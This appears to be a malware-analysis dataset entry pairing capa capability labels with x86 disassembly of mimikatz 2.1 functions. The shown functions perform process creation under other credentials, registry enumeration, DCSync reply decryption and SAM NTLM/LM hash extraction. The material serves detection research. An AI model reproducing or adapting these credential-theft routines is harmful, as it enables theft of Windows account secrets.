joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407b38
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 0x44
pop edi
or eax, 0x10
xor esi, esi
push edi
mov ebx, eax
lea eax, [ebp - 0x4c]
push esi
push eax
mov dword [ebp - 4], esi
call sub.msvcrt.dll_memset
mov dword [ebp - 0x4c], edi
mov edi, dword [ebp + 0x20]
add esp, 0xc
cmp edi, esi
jne 0x407b72
push 0x10
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
push dword [ebp + 0xc]
call dword [sym.imp.msvcrt.dll__wcsdup]
pop ecx
mov ecx, eax
mov dword [ebp - 8], ecx
cmp ecx, esi
je 0x407c0f
mov eax, dword [ebp + 8]
sub eax, esi
je 0x407bca
dec eax
je 0x407bb4
dec eax
jne 0x407be0
push edi
lea eax, [ebp - 0x4c]
push eax
push esi
push esi
push ebx
push ecx
push esi
push dword [ebp + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
jmp 0x407bdd
push edi
lea eax, [ebp - 0x4c]
push eax
push esi
push esi
push ebx
push esi
push esi
push esi
push ecx
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
jmp 0x407bdd
push edi
lea eax, [ebp - 0x4c]
push eax
push esi
push esi
push ebx
push esi
push esi
push esi
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 4], eax
cmp dword [ebp + 0x24], esi
jne 0x407bea
cmp dword [ebp + 0x20], esi
jne 0x407c05
push dword [edi + 4]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [edi]
call ebx
cmp dword [ebp + 0x20], esi
jne 0x407c05
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 8]
call dword [sym.imp.msvcrt.dll_free]
pop ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408521
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebx]
push esi
push edi
xor esi, esi
xor edi, edi
sub eax, esi
je 0x40859b
dec eax
jne 0x4085c3
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
call fcn.00408400
pop ecx
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov edi, ecx
cmp edi, esi
je 0x4085c3
mov edx, dword [eax + 8]
mov ecx, dword [ebp + 0x14]
mov esi, edx
and esi, 0x7fffffff
test ecx, ecx
je 0x4085c3
cmp dword [ebp + 0x10], 0
je 0x408597
cmp dword [ecx], esi
sbb edi, edi
inc edi
je 0x408597
test edx, edx
jns 0x40857a
add eax, 0xc
jmp 0x408587
mov ecx, dword [ebx + 4]
mov ecx, dword [ecx + 8]
mov eax, dword [eax + 0xc]
lea eax, [ecx + eax + 4]
push esi
push eax
push dword [ebp + 0x10]
call sub.msvcrt.dll_memcpy
mov ecx, dword [ebp + 0x14]
add esp, 0xc
mov dword [ecx], esi
jmp 0x4085c3
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor ecx, ecx
cmp eax, esi
sete cl
mov edi, ecx
cmp edi, esi
jne 0x4085c3
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x4085c9
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebx]
push esi
xor esi, esi
sub eax, esi
push edi
je 0x40863e
dec eax
jne 0x408669
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
call fcn.00408400
pop ecx
pop ecx
test eax, eax
je 0x408669
mov ecx, dword [eax + 8]
mov edi, ecx
and edi, 0x7fffffff
cmp edi, dword [ebp + 0x18]
sbb esi, esi
inc esi
je 0x40863a
mov edx, dword [ebp + 0x10]
mov dword [eax + 0x10], edx
mov edx, SysReAllocString
and ecx, edx
or ecx, dword [ebp + 0x18]
mov dword [eax + 8], ecx
test edx, ecx
je 0x40861e
add eax, 0xc
jmp 0x40862b
mov ecx, dword [ebx + 4]
mov ecx, dword [ecx + 8]
mov eax, dword [eax + 0xc]
lea eax, [ecx + eax + 4]
push edi
push dword [ebp + 0x14]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
jmp 0x408669
push 0x32
jmp 0x408663
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ecx, ecx
test eax, eax
sete cl
mov esi, ecx
test esi, esi
jne 0x408669
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x40866f
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ecx]
push ebx
push esi
xor esi, esi
xor ebx, ebx
sub eax, esi
push edi
je 0x408776
dec eax
jne 0x40879c
mov eax, dword [edx + 0x18]
cmp eax, esi
je 0x40879c
cmp dword [ebp + 8], eax
jae 0x40879c
mov eax, dword [edx + 0x20]
cmp eax, 0xffffffff
je 0x40879c
mov ecx, dword [ecx + 4]
mov ecx, dword [ecx + 8]
add eax, ecx
movzx edi, word [eax + 4]
cmp edi, 0x666c
je 0x4086ca
cmp edi, 0x686c
jne 0x40879c
movzx edi, word [eax + 6]
cmp di, si
je 0x40879c
movzx edi, di
cmp dword [ebp + 8], edi
jae 0x40879c
mov edi, dword [ebp + 8]
mov eax, dword [eax + edi*8 + 8]
add eax, ecx
mov ecx, 0x6b6e
cmp word [eax + 4], cx
jne 0x40879c
cmp dword [ebp + 0xc], esi
je 0x40879c
mov edi, dword [ebp + 0x10]
cmp edi, esi
je 0x40879c
test byte [eax + 6], 0x20
movzx esi, word [eax + 0x4c]
je 0x408756
cmp esi, dword [edi]
sbb ebx, ebx
neg ebx
je 0x408752
lea edi, [eax + 0x50]
call fcn.0040a452
mov edi, eax
test edi, edi
je 0x408746
lea eax, [esi + esi]
push eax
push edi
push dword [ebp + 0xc]
call sub.msvcrt.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov word [ecx + esi*2], ax
mov dword [edi], esi
jmp 0x40879c
shr esi, 1
cmp esi, dword [edi]
sbb ebx, ebx
neg ebx
je 0x408752
movzx ecx, word [edx + 0x4c]
push ecx
add eax, 0x50
push eax
push dword [ebp + 0xc]
call sub.msvcrt.dll_memcpy
add esp, 0xc
jmp 0x408749
push esi
push esi
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
xor ebx, ebx
cmp eax, esi
sete bl
cmp ebx, esi
jne 0x40879c
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret
Function at 0x4087a3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
xor esi, esi
sub eax, esi
mov dword [ebp - 4], esi
je 0x40892d
dec eax
jne 0x40895c
cmp dword [ebp + 0xc], esi
je 0x4087ce
mov eax, dword [ebp + 0xc]
jmp 0x4087d4
mov eax, dword [edi + 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x6b6e
cmp word [eax + 4], cx
jne 0x40895c
mov ecx, dword [eax + 0x28]
cmp ecx, esi
je 0x40895c
cmp edx, ecx
jae 0x40895c
mov ecx, dword [eax + 0x2c]
cmp ecx, 0xffffffff
je 0x40895c
mov eax, dword [edi + 4]
mov eax, dword [eax + 8]
lea edx, [eax + edx*4 + 4]
mov ebx, dword [edx + ecx]
add ebx, eax
mov eax, 0x6b76
cmp word [ebx + 4], ax
jne 0x40895c
cmp dword [ebp + 0x10], esi
je 0x40895c
mov eax, dword [ebp + 0x14]
cmp eax, esi
je 0x40895c
cmp word [ebx + 6], si
je 0x4088c7
test byte [ebx + 0x14], 1
je 0x40885d
movzx esi, word [ebx + 6]
lea eax, [esi + 1]
lea edi, [ebx + 0x18]
mov dword [ebp - 8], eax
call fcn.0040a452
mov esi, dword [ebp - 8]
mov edi, eax
jmp 0x40888e
movzx eax, word [ebx + 6]
mov esi, eax
add eax, 2
push eax
shr esi, 1
push 0x40
inc esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x40895c
movzx eax, word [ebx + 6]
push eax
lea eax, [ebx + 0x18]
push eax
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
test edi, edi
je 0x40895c
mov eax, dword [ebp + 0x14]
cmp dword [eax], esi
sbb eax, eax
inc eax
mov dword [ebp - 4], eax
je 0x4088b9
lea eax, [esi + esi]
push eax
push edi
push dword [ebp + 0x10]
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp + 0x14]
add esp, 0xc
dec esi
mov dword [eax], esi
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, dword [ebp + 8]
xor esi, esi
jmp 0x4088c9
mov dword [eax], esi
cmp dword [ebp - 4], esi
je 0x40895c
mov esi, dword [ebx + 8]
mov eax, dword [ebp + 0x18]
and esi, 0x7fffffff
test eax, eax
je 0x4088e7
mov ecx, dword [ebx + 0x10]
mov dword [eax], ecx
mov ecx, dword [ebp + 0x20]
test ecx, ecx
je 0x40895c
cmp dword [ebp + 0x1c], 0
je 0x408929
cmp dword [ecx], esi
sbb eax, eax
inc eax
mov dword [ebp - 4], eax
je 0x408929
test dword [ebx + 8], 0x80000000
je 0x40890c
add ebx, 0xc
jmp 0x408919
mov eax, dword [edi + 4]
mov eax, dword [eax + 8]
mov ecx, dword [ebx + 0xc]
lea ebx, [eax + ecx + 4]
push esi
push ebx
push dword [ebp + 0x1c]
call sub.msvcrt.dll_memcpy
mov ecx, dword [ebp + 0x20]
add esp, 0xc
mov dword [ecx], esi
jmp 0x40895c
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edx
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
xor ecx, ecx
cmp eax, esi
sete cl
mov dword [ebp - 4], ecx
cmp ecx, esi
jne 0x40895c
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409b01
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
push edi
xor eax, eax
push 0x10
pop edi
mov dword [ebp - 8], eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], eax
cmp dword [0x486f98], eax
je 0x409c36
cmp dword [0x486f94], eax
je 0x409c36
cmp dword [esi], 0x14
jb 0x409c2f
mov ebx, dword [esi + 4]
cmp ebx, eax
je 0x409c2f
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Init
push dword [0x486f94]
lea eax, [ebp - 0x90]
push dword [0x486f98]
push eax
call sub.cryptdll.dll_MD5Update
push edi
push ebx
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Update
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Final
lea eax, [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov eax, dword [esi]
sub eax, edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], eax
lea eax, [ebx + 0x10]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x28]
push eax
call sub.ADVAPI32.dll_SystemFunction032
test eax, eax
jl 0x409c28
mov edi, dword [esi]
push 4
lea eax, [ebp - 4]
push eax
sub edi, 0x14
add ebx, 0x14
push edi
push ebx
push 0x8000
mov dword [ebp - 0xc], ebx
call fcn.00402875
add esp, 0x14
test eax, eax
je 0x409c21
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
cmp dword [ebp - 4], eax
jne 0x409c0e
mov ebx, dword [esi + 4]
push edi
call fcn.00409056
mov dword [esi + 4], eax
test eax, eax
je 0x409c41
push edi
push dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
push ebx
mov dword [esi], edi
mov dword [ebp - 8], 1
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x409c41
push eax
push dword [ebp - 4]
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___Checksums_dont_match__C:0x_08x___R:0x_08x__n
call fcn.00407017
add esp, 0xc
jmp 0x409c41
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___Unable_to_calculate_CRC32_n
jmp 0x409c3b
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___RtlEncryptDecryptRC4_n
jmp 0x409c3b
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___No_valid_data_n
jmp 0x409c3b
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___No_Session_Key_n
call fcn.00407017
pop ecx
mov eax, dword [ebp - 8]
pop edi
pop ebx
leave
ret

Function at 0x40aa3c
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
xor esi, esi
push esi
push esi
push ebx
push esi
push 1
push esi
push dword [ebp + 8]
mov dword [ebp - 4], esi
mov dword [eax], esi
mov dword [ebx], esi
call edi
test eax, eax
je 0x40aa97
push dword [ebx]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
cmp eax, esi
je 0x40aa97
push esi
push esi
push ebx
push eax
push 1
push esi
push dword [ebp + 8]
call edi
mov dword [ebp - 4], eax
cmp eax, esi
jne 0x40aa97
mov esi, dword [ebp + 0xc]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esi], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret
Function at 0x40abe2
Capabilities:
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
xor eax, eax
mov dword [ebp - 0x10], eax
cmp ecx, eax
jne 0x40abf4
lea ecx, [ebp - 0x14]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
push ecx
mov dword [ebp - 4], ecx
lea ecx, [ebp - 8]
push ecx
push eax
lea ecx, [ebp - 0xc]
push ecx
push eax
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push dword [ebp + 0x10]
mov dword [ebp - 8], eax
call edi
test eax, eax
jne 0x40ac82
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x40ac82
mov eax, dword [ebp - 0xc]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
add eax, eax
push eax
push 0x40
call esi
mov dword [ebx], eax
test eax, eax
je 0x40ac81
mov eax, dword [ebp - 8]
add eax, eax
push eax
push 0x40
call esi
mov esi, dword [ebp + 0xc]
mov dword [esi], eax
test eax, eax
je 0x40ac77
push dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebx]
push dword [ebp + 8]
push dword [ebp + 0x10]
call edi
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x40ac81
push dword [esi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esi], eax
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebx], eax
pop esi
mov eax, dword [ebp - 0x10]
pop edi
leave
ret

Function at 0x40d6c5
Capabilities:
Encode data using xor

Disassembly:
mov cl, byte [edx]
xor eax, eax
test cl, cl
je 0x40d6e9
push esi
movzx ecx, cl
movzx ecx, byte [ecx + 0x458bd8]
mov esi, eax
shl esi, 3
xor ecx, esi
inc edx
xor eax, ecx
mov cl, byte [edx]
test cl, cl
jne 0x40d6ce
pop esi
ret
Function at 0x437fec
Capabilities:
Set console window title

Disassembly:
mov eax, 0x20000
call fcn.00456c50
mov eax, dword [sym.imp.msvcrt.dll__iob]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.msvcrt.dll__fileno]
push edi
mov ebx, 0x40000
add eax, 0x20
push ebx
push eax
xor ebp, ebp
call esi
mov edi, dword [sym.imp.msvcrt.dll__setmode]
pop ecx
push eax
call edi
pop ecx
mov dword [0x4872d0], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
pop ecx
add eax, 0x40
push ebx
push eax
call esi
pop ecx
push eax
call edi
pop ecx
pop ecx
mov dword [0x4872d8], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push 0xfde9
mov dword [0x4872d4], eax
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push str.mimikatz_2.1_x86__oe.eo_
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
xor ebx, ebx
inc ebx
push ebx
push 0x4381ac
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0x14
push str._n__..___mimikatz_2.1__x86__built_on_Oct_25_2016_02:25:09_n_.__.___A_La_Vie__A_LAmour__n___________n________Benjamin_DELPY__gentilkiwi____benjamin_gentilkiwi.com___n__v____http:__blog.gentilkiwi.com_mimikatz______________oe.eo__n_______________________________________with__2u_modules_____n
call fcn.00407017
push ebx
call fcn.004381b9
add esp, 0xc
cmp dword [esp + 0x20014], ebx
jle 0x4380c5
cmp ebp, 0x40000015
je 0x438150
mov eax, dword [esp + 0x20018]
lea ebp, [eax + ebx*4]
push dword [ebp]
push str._nmimikatz_commandline____s_n
call fcn.00407017
push dword [ebp]
call fcn.00438274
add esp, 0xc
inc ebx
cmp ebx, dword [esp + 0x20014]
mov ebp, eax
jl 0x438089
jmp 0x438144
push str._nmimikatz_
call fcn.00407017
push dword [sym.imp.msvcrt.dll__iob]
call dword [sym.imp.msvcrt.dll_fflush]
push dword [sym.imp.msvcrt.dll__iob]
lea eax, [esp + 0x1c]
push 0xffff
push eax
call dword [sym.imp.msvcrt.dll_fgetws]
add esp, 0x14
test eax, eax
je 0x438144
lea eax, [esp + 0x10]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x4380ff
sub eax, edx
sar eax, 1
je 0x438144
cmp word [esp + 0x10], 0xa
je 0x438144
lea eax, [esp + eax*2 + 0xe]
cmp word [eax], 0xa
jne 0x438126
xor ecx, ecx
mov word [eax], cx
lea eax, [esp + 0x10]
push eax
push 0x468508
call fcn.00407062
lea eax, [esp + 0x18]
push eax
call fcn.00438274
add esp, 0xc
mov ebp, eax
cmp ebp, 0x40000015
jne 0x4380c5
push 0
call fcn.004381b9
pop ecx
push 0
push 0x4381ac
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov eax, dword [sym.imp.msvcrt.dll__iob]
push dword [0x4872d0]
add eax, 0x20
push eax
call esi
pop ecx
push eax
call edi
mov eax, dword [sym.imp.msvcrt.dll__iob]
pop ecx
pop ecx
push dword [0x4872d8]
add eax, 0x40
push eax
call esi
pop ecx
push eax
call edi
pop ecx
pop ecx
push dword [0x4872d4]
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20000
ret
Function at 0x438274
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
cmp dword [ebp + 8], edi
je 0x4382e0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push edi
push edi
push dword [ebp + 8]
call esi
mov ebx, eax
cmp ebx, edi
je 0x4382de
lea eax, [ebx + ebx]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x4382de
push ebx
push edi
push dword [ebp + 8]
call esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
cmp ebx, eax
je 0x4382bc
push edi
call esi
mov edi, eax
test edi, edi
je 0x4382de
cmp word [edi], 0x21
je 0x4382ce
push edi
call fcn.004382e6
jmp 0x4382d7
lea eax, [edi + 2]
push eax
call fcn.00441d12
pop ecx
push edi
mov dword [ebp + 8], eax
call esi
pop esi
pop ebx
mov eax, dword [ebp + 8]
pop edi
pop ebp
ret
Function at 0x441d12
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
cmp ebx, esi
je 0x441dcd
cmp dword [ebp - 8], esi
jle 0x441dcd
mov dword [ebp - 4], esi
push edi
cmp word [ebp - 4], 0x13
jae 0x441d9f
movzx edi, word [ebp - 4]
shl edi, 4
push dword [edi + 0x458760]
push dword [ebx]
call dword [sym.imp.msvcrt.dll__wcsicmp]
mov esi, eax
neg esi
sbb esi, esi
inc esi
pop ecx
pop ecx
je 0x441d98
mov eax, dword [edi + 0x458758]
test eax, eax
je 0x441d86
lea ecx, [ebx + 4]
push ecx
mov ecx, dword [ebp - 8]
dec ecx
push ecx
call eax
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
jmp 0x441d98
push 0
push 0
push dword [edi + 0x45875c]
call fcn.00405b73
add esp, 0xc
inc dword [ebp - 4]
test esi, esi
je 0x441d43
pop edi
test esi, esi
jne 0x441dcd
mov eax, dword [ebp + 8]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x441daa
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 8]
push 0x22c003
call fcn.00405b73
add esp, 0xc
mov eax, dword [ebp - 0xc]
pop esi
pop ebx
leave
ret
Function at 0x4430c1
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, eax
mov esi, dword [edi]
add esi, dword [ebp + 8]
cmp dword [ebp + 0x14], 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 8], eax
push 0x10
pop ebx
lea eax, [ebp - 0x50]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov eax, str.NTLM
jne 0x443103
mov eax, str.LM
push eax
push str._s_:
call fcn.00407017
cmp dword [edi], 0
pop ecx
pop ecx
je 0x44327b
movzx eax, word [esi + 2]
mov ecx, eax
dec ecx
je 0x4431a7
dec ecx
je 0x44313a
push eax
push str.ERROR_kuhl_m_lsadump_getHash___Unknow_SAM_HASH_revision___hu_
call fcn.00407017
pop ecx
jmp 0x44327a
cmp dword [esi + 4], ebx
jb 0x44327b
lea eax, [ebp + 8]
push eax
lea eax, [ebp + 0x14]
push eax
mov eax, dword [edi + 4]
sub eax, 0x18
push eax
lea eax, [esi + 0x18]
push eax
add esi, 8
push esi
push dword [ebp + 0xc]
call fcn.004035c7
add esp, 0x18
test eax, eax
je 0x44327b
xor eax, eax
cmp dword [ebp + 8], ebx
sete al
mov dword [ebp - 4], eax
test eax, eax
je 0x443188
mov esi, dword [ebp + 0x14]
lea edi, [ebp - 0x2c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
jmp 0x443199
push ebx
push dword [ebp + 8]
push str.ERROR_kuhl_m_lsadump_getHash___Hash_size__u____u
call fcn.00407017
add esp, 0xc
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x44323a
cmp dword [edi + 4], 0x14
jne 0x44327b
lea eax, [ebp - 0xa8]
push eax
call sub.cryptdll.dll_MD5Init
push ebx
push dword [ebp + 0xc]
lea eax, [ebp - 0xa8]
push eax
call sub.cryptdll.dll_MD5Update
push 4
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0xa8]
push eax
call sub.cryptdll.dll_MD5Update
cmp dword [ebp + 0x14], 0
mov eax, str.NTPASSWORD
jne 0x4431ef
mov eax, str.LMPASSWORD
push 0xb
push eax
lea eax, [ebp - 0xa8]
push eax
call sub.cryptdll.dll_MD5Update
lea eax, [ebp - 0xa8]
push eax
call sub.cryptdll.dll_MD5Final
add esi, 4
lea edi, [ebp - 0x2c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x10]
push eax
movsd dword es:[edi], dword [esi]
call sub.ADVAPI32.dll_SystemFunction032
xor ecx, ecx
test eax, eax
setge cl
mov dword [ebp - 4], ecx
test ecx, ecx
jne 0x443240
push str.ERROR_kuhl_m_lsadump_getHash___RtlEncryptDecryptRC4
call fcn.00407017
pop ecx
cmp dword [ebp - 4], 0
je 0x44327b
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x2c]
push eax
call sub.ADVAPI32.dll_SystemFunction025
xor ecx, ecx
test eax, eax
setge cl
mov dword [ebp - 4], ecx
test ecx, ecx
je 0x443270
lea eax, [ebp - 0x3c]
push ebx
push eax
xor eax, eax
call fcn.0040a596
jmp 0x443134
push str.ERROR_kuhl_m_lsadump_getHash___RtlDecryptDES2blocks1DWORD
call fcn.00407017
pop ecx
push 0x45d6e4
call fcn.00407017
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop esi
pop ebx
leave
ret